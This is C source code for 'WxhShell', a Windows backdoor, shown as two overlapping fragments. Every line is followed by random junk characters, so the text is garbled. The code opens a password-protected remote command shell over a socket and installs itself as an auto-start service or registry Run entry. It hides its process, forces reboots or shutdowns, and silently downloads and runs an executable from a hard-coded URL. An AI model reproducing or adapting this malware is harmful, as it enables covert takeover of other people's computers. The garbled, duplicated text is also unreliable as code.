    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Z@1kx3Wx$  
    else { Xgd-^  
    closesocket(wsh); OGg\VV'  
    ExitThread(0); =V|jd'iwx  
    } <&Xl b0  
    break; jUM'f24  
    } l,hOnpm9  
  // 获取shell m6[}KkW  
  case 's': { ,V,mz?d^9  
    CmdShell(wsh); ya1 aWs~  
    closesocket(wsh); (9RfsV4^  
    ExitThread(0); 7:olStK  
    break; ,93Uji[l  
  } 3as=EYm  
  // 退出 d eT<)'"  
  case 'x': { "\EX)u9ze  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Xi%Og\vm5  
    CloseIt(wsh); i*/i"W<  
    break; ;ZUj2WxE  
    } 0zNbux_  
  // 离开 yn}Dj9(q  
  case 'q': { I3.. Yk%7  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 60^j<O  
    closesocket(wsh); "6\ 5eFN;  
    WSACleanup(); F:q4cfL6  
    exit(1); iOg4(SPci  
    break; =oI[E~1<  
        } " Bx@(  
  } e:Y+-C5  
  } "jyo'r  
D<69xT,  
  // 提示信息 _l9fNf!@  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); |\Jnr3)  
} ,:PMS8pS  
  } I9 zs  
TiI/I`A  
  return; Mu>  
} k!x|oC0  
Xd%qebK  
// shell模块句柄 ]S4"JcM  
int CmdShell(SOCKET sock) @$r[$D v  
{ - $<oY88  
STARTUPINFO si; I}bu  
ZeroMemory(&si,sizeof(si)); BS fmS(.  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Jm<NDE~rw  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; G/p\MzDko  
PROCESS_INFORMATION ProcessInfo; GP c B(  
char cmdline[]="cmd"; kMCP .D45;  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); |K1S(m<F  
  return 0; ^(^P#EEG  
} xR0*w7YE  
-+@N/d5  
// 自身启动模式 g@^y$wt  
int StartFromService(void) g ZtQtFi  
{ g)czJ=T2  
typedef struct [<f2h-V$  
{ ,WWd%DF)  
  DWORD ExitStatus; <&b,%O  
  DWORD PebBaseAddress; Pg T3E  
  DWORD AffinityMask; dPu27 "  
  DWORD BasePriority; O80Z7  
  ULONG UniqueProcessId; Oh1U=V2~  
  ULONG InheritedFromUniqueProcessId; 6Sd:5eTEQ  
}   PROCESS_BASIC_INFORMATION; :G 5p`;hGo  
k*;U?C!  
PROCNTQSIP NtQueryInformationProcess; XA#qBxp/h  
C&Q[[k"kb  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; tRU/[?!  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; []@@  
NxnR QS  
  HANDLE             hProcess; R?)Yh.vi=t  
  PROCESS_BASIC_INFORMATION pbi; ]~]TZb  
aQ(P#n>a2  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); E|;>!MMA;  
  if(NULL == hInst ) return 0; +!u9_?Tp  
NE#`ZUr3  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); h!dij^bD  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Ag0 6M U  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ]vf_4QW=  
p+iNi4y@  
  if (!NtQueryInformationProcess) return 0; }R+#>P  
c=tbl|Cq  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); jX4$PfOhR  
  if(!hProcess) return 0; ?cWwt~N9  
<UO[*_,\  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; tLKf]5}f  
$A~aNI  
  CloseHandle(hProcess); 6P@K]jy& n  
!)oQ9,N  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); m#WXZr  
if(hProcess==NULL) return 0; Yz2N(g[  
" TCJT390  
HMODULE hMod; _}47U7s8  
char procName[255]; 92Gfxld\  
unsigned long cbNeeded; >.UEs 8QV  
d1.@v;  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); =),ZZD#J  
+(x(Ybl#  
  CloseHandle(hProcess); GTbV5{Ss  
&&$*MHJ  
if(strstr(procName,"services")) return 1; // 以服务启动 }#.OJub  
|^Yz*r?BJ  
  return 0; // 注册表启动 .I|b9$V  
} k {{eyC  
MA9E??p3\  
// 主模块 5/6Jq  
int StartWxhshell(LPSTR lpCmdLine) bO$KV"*!  
{ *eXs7"H  
  SOCKET wsl; !ckluj  
BOOL val=TRUE; LsGO~EiJ  
  int port=0; Vq#0MY)2gS  
  struct sockaddr_in door; jK\kASwG  
w$s6NBF7  
  if(wscfg.ws_autoins) Install(); P;XA|`&  
PY4">~6\i  
port=atoi(lpCmdLine); "}0QxogYE  
Z! /_H($  
if(port<=0) port=wscfg.ws_port; pIrL7Pb0  
!+Cc^{  
  WSADATA data; |R91|-H  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; iX2exJto  
+`S_Gy  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ]n1#8T&<*z  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Z *tHZ7 b  
  door.sin_family = AF_INET; yN[i6oe  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 9^sz,auB  
  door.sin_port = htons(port); |w~*p N0  
(G{:O   
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) {  S{XO3  
closesocket(wsl); [70 _uq  
return 1; /i!/)]*-  
} l:~ >P[  
OWr\$lm@z$  
  if(listen(wsl,2) == INVALID_SOCKET) { B&!>& Rbx  
closesocket(wsl); YuO!Y9iEm  
return 1; W>CG;x{  
} `} 'o2oZnG  
  Wxhshell(wsl); hG<W *g  
  WSACleanup(); um". Z4S  
|gk"~D  
return 0; >Wd=+$!I  
_!Z}HCk  
} w2!5TKZ`  
nH?#_ 5F1  
// 以NT服务方式启动 Ql}#mC.>/  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) j=Q ?d]  
{ ygV-Fv>PQ  
DWORD   status = 0; `ST;";7!  
  DWORD   specificError = 0xfffffff; }lx'NY~(W  
m aQDD*  
  serviceStatus.dwServiceType     = SERVICE_WIN32; CF_2ez1u0y  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; l@<Jp *|  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 1OK~*=/4  
  serviceStatus.dwWin32ExitCode     = 0; \rbvlO?}  
  serviceStatus.dwServiceSpecificExitCode = 0; d\ 7OtM  
  serviceStatus.dwCheckPoint       = 0; uF*tlaV6  
  serviceStatus.dwWaitHint       = 0; Co<F<eXe  
#@M'*X_%}K  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); UPuG&A#VV  
  if (hServiceStatusHandle==0) return; _(@ezX.p  
'Hq#9?<2M  
status = GetLastError(); }"^d<dvuz  
  if (status!=NO_ERROR) S }G3ha  
{ bFIv}c+;  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; cn$0^7?  
    serviceStatus.dwCheckPoint       = 0; \T`iq[+6  
    serviceStatus.dwWaitHint       = 0; N?s5h?  
    serviceStatus.dwWin32ExitCode     = status; .uo:fxbd2  
    serviceStatus.dwServiceSpecificExitCode = specificError; 5[+E?4,&  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); d+7Dy3i|g=  
    return; 2\xEMec  
  } Ot!*,%sjQ  
Z#_VxA>]v  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; z 2Ao6*%  
  serviceStatus.dwCheckPoint       = 0; } qr ,  
  serviceStatus.dwWaitHint       = 0; >56;M7b(K  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); rgrsNr:1  
} z]Mu8  
`SESj)W(y  
// 处理NT服务事件,比如:启动、停止 b@N*W]  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 8:Jc2K  
{ 6[C>"s}Ol  
switch(fdwControl) _dw6 C2]P  
{ vqBT^Q_q;  
case SERVICE_CONTROL_STOP: 'sAs#  
  serviceStatus.dwWin32ExitCode = 0; qRA ,-N  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 9y&&6r<I  
  serviceStatus.dwCheckPoint   = 0; P'CDV3+  
  serviceStatus.dwWaitHint     = 0; 2/G`ej!*  
  { vWpkU<&3|  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); }^3ICwzm  
  } JNgl  
  return; P}C;%KzA  
case SERVICE_CONTROL_PAUSE: YumHECej  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 79Si^n1\  
  break; i_qR&X  
case SERVICE_CONTROL_CONTINUE:  Wfyap)y  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; roG f &  
  break; =L?(mNHT  
case SERVICE_CONTROL_INTERROGATE: Ax;i;<md  
  break; lip1wR7  
}; h"+|)'*n  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); LTc= D  
} s+yX82Y  
,~,{$\p   
// 标准应用程序主函数 00)=3@D  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) WAt| J2  
{ Y^W.gGM  
Z39I*-6F9W  
// 获取操作系统版本 i=G.{.  
OsIsNt=GetOsVer(); VY=c_Gl  
GetModuleFileName(NULL,ExeFile,MAX_PATH); LlfD>cN  
/_ MEb42&  
  // 从命令行安装 (qM(~4|`  
  if(strpbrk(lpCmdLine,"iI")) Install(); H6PS7g"  
tag~SG`ov  
  // 下载执行文件 zS##YR  
if(wscfg.ws_downexe) { 0au\X$)Q  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ` d[ja,  
  WinExec(wscfg.ws_filenam,SW_HIDE); E1e#E3Yq}s  
} oAgO 3x   
$'2yPoR  
if(!OsIsNt) { u.s-/ g  
// 如果时win9x,隐藏进程并且设置为注册表启动 :b_R1ZV|  
HideProc(); Jj$N3UCg7  
StartWxhshell(lpCmdLine); >b.wk3g@>  
} pkR+H|  
else iX{Lc+u3  
  if(StartFromService()) f;;(Q-.  
  // 以服务方式启动 i YJzSVO  
  StartServiceCtrlDispatcher(DispatchTable); StP7t  
else _lE0_X|d  
  // 普通方式启动 n"1LVJN7  
  StartWxhshell(lpCmdLine); .D`""up|{  
G3&l|@5  
return 0; P'4jz&4  
} mqg[2VTRP  
+h$) l/>:  
J\@yP  
2Rp5 E^s  
=========================================== j<LDJi>O  
~fE6g3  
kR0d]"dr  
V.RG= TVS  
5Y\wXqlY  
<XV\8Y+n  
" d+Vx:`tT  
:{d?B$  
#include <stdio.h> nSL x1Q  
#include <string.h> 4$=Dq$4z  
#include <windows.h> wh\J)pA1  
#include <winsock2.h> $~V,.RD  
#include <winsvc.h> 'ju{j`b  
#include <urlmon.h> 0!c^pOq6  
qe!\ oh  
#pragma comment (lib, "Ws2_32.lib") S 'jH  
#pragma comment (lib, "urlmon.lib") 52$7vYMto  
g $\Z-!(  
#define MAX_USER   100 // 最大客户端连接数 ,rB"ag !  
#define BUF_SOCK   200 // sock buffer 8jE6zS }m  
#define KEY_BUFF   255 // 输入 buffer  0~{&  
l0m\2Ttf  
#define REBOOT     0   // 重启 $~|#Rz%v  
#define SHUTDOWN   1   // 关机 :dtX^IT  
Sn\S `D  
#define DEF_PORT   5000 // 监听端口 7B`,q-x.  
y~JCSzpU  
#define REG_LEN     16   // 注册表键长度 a_UVb'z  
#define SVC_LEN     80   // NT服务名长度 k:Iz>3O3]  
S0_#h)  
// 从dll定义API BTwLx-p9t  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); m8q3Pp  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 7[wHNJ7)r  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); |Go?A/'  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); qFo'"z`84  
a$7}_kb  
// wxhshell配置信息 mr+J#  
struct WSCFG { ydCVG,"  
  int ws_port;         // 监听端口 R0R Xw  
  char ws_passstr[REG_LEN]; // 口令 w !N; Y0  
  int ws_autoins;       // 安装标记, 1=yes 0=no Xj/U~  
  char ws_regname[REG_LEN]; // 注册表键名 u; xl}  
  char ws_svcname[REG_LEN]; // 服务名 Kp +Lk  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 eGZX 6Q7m  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 FF"6~  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 . mDh9V5  
int ws_downexe;       // 下载执行标记, 1=yes 0=no s }]qlg  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" *TpzX y  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 R6ynL([xh  
*^XfEO  
}; "x. |'  
LLn,pI2fL{  
// default Wxhshell configuration $'I+] ;  
struct WSCFG wscfg={DEF_PORT, E$-u:Z<-  
    "xuhuanlingzhe", !$"DD[~\  
    1, }t tiL  
    "Wxhshell", c5K@<=?,E  
    "Wxhshell", I*/?*p/I  
            "WxhShell Service", "p43#  
    "Wrsky Windows CmdShell Service", ESk<*-  
    "Please Input Your Password: ", lF]cUp#<  
  1, U2*g9Es  
  "http://www.wrsky.com/wxhshell.exe", ?*}^xXI/  
  "Wxhshell.exe" /P*mF^Y  
    }; #"^F:: b-  
VZ?"yUZ Id  
// 消息定义模块 c?qg i"kS  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; N;XaK+_2F  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Lw 7,[?,Z  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; &u62@ug#}  
char *msg_ws_ext="\n\rExit."; yub|   
char *msg_ws_end="\n\rQuit."; D|W^PR:@h  
char *msg_ws_boot="\n\rReboot..."; oT7=  
char *msg_ws_poff="\n\rShutdown..."; SbNs#  
char *msg_ws_down="\n\rSave to "; 6&o9mc\I  
?UC3ES  
char *msg_ws_err="\n\rErr!"; _pSCv:3T  
char *msg_ws_ok="\n\rOK!"; =&QC&CqEi  
~Qzb<^9]  
char ExeFile[MAX_PATH]; W+[XNIg5   
int nUser = 0; Ca[H<nyj  
HANDLE handles[MAX_USER]; lsV9-)yyl  
int OsIsNt; EG<YxNX,  
gC81ICM  
SERVICE_STATUS       serviceStatus; Vy;f4;I{  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; =HT:p:S  
OI3UC=G  
// 函数声明 L&wJ-}'l  
int Install(void); ?*i qg[:  
int Uninstall(void); I#0WN  
int DownloadFile(char *sURL, SOCKET wsh); cPh U q ET  
int Boot(int flag); H6ff b)&  
void HideProc(void); U$[C>~r  
int GetOsVer(void); 3[kY:5-  
int Wxhshell(SOCKET wsl); =VMV^[&>  
void TalkWithClient(void *cs); <eU28M?\  
int CmdShell(SOCKET sock); FNpMu3Q  
int StartFromService(void); +@]b}W  
int StartWxhshell(LPSTR lpCmdLine); o8+ZgXct  
J:  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); GzJLG=M  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); a+$WlG/x  
!xs. [&u8  
// 数据结构和表定义 HC0q_%j  
SERVICE_TABLE_ENTRY DispatchTable[] = aa8xo5tIp  
{ gxEa?QH  
{wscfg.ws_svcname, NTServiceMain}, -!uut7Z|  
{NULL, NULL} CmaV>  
}; ]:CU.M1  
8(R%?> 8  
// 自我安装 ueO&%  
int Install(void) yc.Vm[!  
{ N&`VMEB)k  
  char svExeFile[MAX_PATH]; "4c ?hH:C  
  HKEY key; j4wcxZYY~  
  strcpy(svExeFile,ExeFile); d,}fp)  
a []Iz8*6e  
// 如果是win9x系统,修改注册表设为自启动 J/3qJst  
if(!OsIsNt) { ZMmaM "9  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { {HKd="%VG  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); G}aw{Vbg_  
  RegCloseKey(key); }m Rus<Ax  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { > Y <in/  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); `ReTfz;o  
  RegCloseKey(key); QJc3@  
  return 0; ~b+TkPU   
    } Qq;` 9-&j  
  } 8'Dp3x^W>  
} lWS @<j  
else { f,9jK9/$  
(~F{c0 \C  
// 如果是NT以上系统,安装为系统服务 O5HK2Xg,C  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); V5y8VT=I  
if (schSCManager!=0) ;SAurG$  
{ jEj#|w  
  SC_HANDLE schService = CreateService Fy|tKMhnc  
  ( av>c  
  schSCManager, Fj\}&H*+  
  wscfg.ws_svcname, mA|&K8H  
  wscfg.ws_svcdisp, y:Xs/RS  
  SERVICE_ALL_ACCESS, L/1zG/@  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , l2uh"!  
  SERVICE_AUTO_START, (vm &&a@  
  SERVICE_ERROR_NORMAL, fMe "r*SU  
  svExeFile, ugexkdgM  
  NULL, Xg:w;#r,  
  NULL, *<k8H5z8]  
  NULL, ;K<e]RI;?  
  NULL, F&US-ce:M  
  NULL fUQuEh5_  
  ); q[4{Xh  
  if (schService!=0) \F]X!#&+  
  { )(~s-x^\z@  
  CloseServiceHandle(schService); [Nb0&:$ay  
  CloseServiceHandle(schSCManager); `n%uvo}UT  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); su]CaHU  
  strcat(svExeFile,wscfg.ws_svcname); lqFDX d  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ;cQhs7m(9  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); NpV# zzE  
  RegCloseKey(key); (Fq|hgOA>M  
  return 0; s(*L V2fa  
    } :5!>h8p;  
  } Jlw<% }r  
  CloseServiceHandle(schSCManager); 9{{QdN8  
} DDkH`R  
} VXt8y)?a  
a1Q|su{H  
return 1; fE"Q:K6r2  
} N9LBji;nH  
j-wSsjLk  
// 自我卸载 *yJCnoF  
int Uninstall(void) oTOr,Mn0\6  
{ R;,&s!\<  
  HKEY key; N6wea]  
cIqk=_]  
if(!OsIsNt) { aty"6~  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 4Q2=\-KFj  
  RegDeleteValue(key,wscfg.ws_regname); }7iWmXlI  
  RegCloseKey(key); PI{;3X}9$,  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ;J|sH>i  
  RegDeleteValue(key,wscfg.ws_regname); JmDi{B?  
  RegCloseKey(key); j^ L"l;m  
  return 0; MhMY"bx8  
  } ~!( (?8"  
} 0$)CWah  
} gL%%2 }$  
else { ~hi\*W6jg  
S9~X#tpKe  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); :;[pl|}tM  
if (schSCManager!=0) _ndc^OG  
{ y]|Hrx  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); r[xj,eIb  
  if (schService!=0) \_?A8F  
  { VwfeaDJw  
  if(DeleteService(schService)!=0) { ^):m^w.  
  CloseServiceHandle(schService); ~B!O X  
  CloseServiceHandle(schSCManager); r0ml|PX  
  return 0; FEqs4<}E  
  } *a_U2}N  
  CloseServiceHandle(schService); z%xWP&3%"  
  } @Qw~z0PE<l  
  CloseServiceHandle(schSCManager); ^(<Ecdz(  
} e~ #;ux  
} &R$6dG4  
Ewjzm,2  
return 1; N{L'Q0!  
} }SL&Y`Y]  
rQ~7BlE  
// 从指定url下载文件 9>gxJ7pY  
int DownloadFile(char *sURL, SOCKET wsh)  k I {)"  
{ l,cnM r^.W  
  HRESULT hr; ks92-%;:  
char seps[]= "/"; ~{GbuoH  
char *token; r!H'8O!  
char *file; u{#}Lo>B #  
char myURL[MAX_PATH]; e>yPFXSk  
char myFILE[MAX_PATH]; Y~ j.Kt  
7!%/vO0m  
strcpy(myURL,sURL); E'3=qTbiD  
  token=strtok(myURL,seps); *|)a@V L  
  while(token!=NULL) B/"TaXVU  
  { YbaaX{7^  
    file=token; Jg3OM Ut  
  token=strtok(NULL,seps); FT.6^)-  
  } }DH3_M!  
Y+il>.Z  
GetCurrentDirectory(MAX_PATH,myFILE); u6hDjN  
strcat(myFILE, "\\"); { Ju  
strcat(myFILE, file); Z(Styn/x  
  send(wsh,myFILE,strlen(myFILE),0);  y|r+<  
send(wsh,"...",3,0); R*Jnl\?>@  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); K9{3,!1  
  if(hr==S_OK) aYTVYg  
return 0; ^L}ICm_#  
else a] 0B{  
return 1; @.IGOh  
w>-@h>Ln  
} U^qQ((ek  
\o-9~C\c*  
// 系统电源模块 W5C8$Bqm  
int Boot(int flag) {wUbr^  
{ !O;su~7  
  HANDLE hToken; Q;9-aZ.H  
  TOKEN_PRIVILEGES tkp; C\%T|ZDE  
tK@|sZ>3\  
  if(OsIsNt) { "*08?KA  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); %6A."sePO  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); <( "M;C3y  
    tkp.PrivilegeCount = 1; Hzm<KQ g  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ?D 8<}~Do  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); EPEy60Rx5  
if(flag==REBOOT) { GnAG'.t-Z  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) rGa@!^hk  
  return 0; Ck`-<)uN  
} E}^np[u7  
else { g.L~Z1-  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ^\<nOzU?  
  return 0; \X3Q,\H @  
} TcW-pY<N  
  } 91I6-7# Xt  
  else { Vq8G( <77  
if(flag==REBOOT) { U.XvS''E  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) YUGE>"{  
  return 0; fU/&e^, 's  
} n $Nw/Vm  
else { e"=/zZH3  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) b/#SkxW#S  
  return 0; \<e?  
} @;\2 PD  
} 2@TgeV0Y[  
#}M\ J0QG  
return 1; IP?15l w  
} kSW=DE|#}  
L{pz)')I  
// win9x进程隐藏模块 x*`S>_j27=  
void HideProc(void) }~I(e  
{ DIqM\ ><  
|}^me7C,[  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); "|N58%  
  if ( hKernel != NULL ) 'SW%EVB  
  { {oXU)9vj  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); e>$d*~mwn  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Dx)>`yJk$;  
    FreeLibrary(hKernel); mS$9D{  
  } [zC1LTXe  
|Do+=Gr$t@  
return; P}`|8b1W  
} PL/g@a^tY  
&7\=J w7w  
// 获取操作系统版本 wDQ@$T^vh  
int GetOsVer(void) #}PQ !gZ  
{ Q,ez AE  
  OSVERSIONINFO winfo; ^`~s#L7  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); k kZ2Jxvx  
  GetVersionEx(&winfo); UWW^g@d4  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) uBp,_V?  
  return 1; <mrvuWg0  
  else .2Q4EbM2  
  return 0; W)X" G3  
} #!0=I s^  
N>TmaUk  
// 客户端句柄模块 hQeGr 2gMq  
int Wxhshell(SOCKET wsl) xNrPj8V<Y  
{ /M : 7  
  SOCKET wsh; qw?Wi%t(x8  
  struct sockaddr_in client; -/V,<@@T  
  DWORD myID; N!PPL"5z  
V jdu9Ez  
  while(nUser<MAX_USER) tG7F!um(  
{ 6N49q -.Lg  
  int nSize=sizeof(client); TdU'L:<4l  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); c>|1%}"?  
  if(wsh==INVALID_SOCKET) return 1; opXxtYC@  
d/8p?Km  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); "|Ke/0rGB  
if(handles[nUser]==0) ndmsXls  
  closesocket(wsh); o5@d1A  
else Z bW!c1s{  
  nUser++; 4Wd H!z  
  } ]/9@^D}&  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); A`B>fI  
o&t*[#  
  return 0; ~|lEi1|  
} @3w6 !Sgh  
-Qy@-s $  
// 关闭 socket ]x1;uE?1J  
void CloseIt(SOCKET wsh) &lCOhP#  
{ 8|LU=p`y'  
closesocket(wsh); QO/nUl0E  
nUser--; Iq0[Kd0.j  
ExitThread(0); cMfJq}C<  
} 3jqV/w[-  
#0"Pd8@  
// 客户端请求句柄 @*16agGg  
void TalkWithClient(void *cs) -k?K|w*X  
{ }PXtwp13&u  
bA-/"'Vp9  
  SOCKET wsh=(SOCKET)cs; Ia[4P8Z  
  char pwd[SVC_LEN]; D03QisH=  
  char cmd[KEY_BUFF]; <.Dg3RH  
char chr[1]; U!GfDt  
int i,j; 3v91yMx  
mz2v2ma  
  while (nUser < MAX_USER) { >vR7l&"  
34 '[O  
if(wscfg.ws_passstr) { MpVZL29)  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); b$eN]L   
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 43}uW, P  
  //ZeroMemory(pwd,KEY_BUFF); ~} 02q5H  
      i=0; !C&  ^%a  
  while(i<SVC_LEN) { c(kYCVc   
8 7z]qE  
  // 设置超时 b}3t8?wG&  
  fd_set FdRead; kt# t-N;}x  
  struct timeval TimeOut; 8U%y[2sT  
  FD_ZERO(&FdRead); S"cim\9xP  
  FD_SET(wsh,&FdRead); U]]ON6Y&F  
  TimeOut.tv_sec=8; ae#Qeow`  
  TimeOut.tv_usec=0; X:/7#fcG8  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); F-X L  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); jK]An;l{Z  
p[K!.vOt+  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); tZ.hSDH  
  pwd=chr[0]; =E$B0^_2RC  
  if(chr[0]==0xd || chr[0]==0xa) { NY GWA4L  
  pwd=0; |})v, o B  
  break; V"|`Z}XW  
  } @iU(4eX  
  i++; *7w,o?l  
    } ;04< 9i  
=D`:2k~ ,  
  // 如果是非法用户,关闭 socket !{?<(6;t  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); #Ibpf ,  
} Gn%"B6  
(]nX:t  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); $!vK#8-&{  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); z?Cez*.h>  
;LC?3.  
while(1) { (@Kc(>(: Y  
)&$mFwf  
  ZeroMemory(cmd,KEY_BUFF); aM4-quaG]  
4 'DEdx,&f  
      // 自动支持客户端 telnet标准   gle<{ `   
  j=0; goOw.~dZ'  
  while(j<KEY_BUFF) { -cWGF  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); !A:d9 k  
  cmd[j]=chr[0]; d f j;e%H  
  if(chr[0]==0xa || chr[0]==0xd) { }Oq P`B  
  cmd[j]=0; xnDst9%  
  break; 6@;sOiN+  
  } HPX JRQBE  
  j++; uE}$ZBi q  
    } X>i{288M3  
tZY6{,K%4  
  // 下载文件 ;YZ'd"0v  
  if(strstr(cmd,"http://")) { )~CNh5z 6Y  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); d[YG&.}+8j  
  if(DownloadFile(cmd,wsh)) P @~)9W  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]2c0?f*Y7  
  else AqT}^fS  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0);  Khh}flRy  
  } B2Kh~Xd  
  else { %us#p|Ya  
8<{i=V*x4  
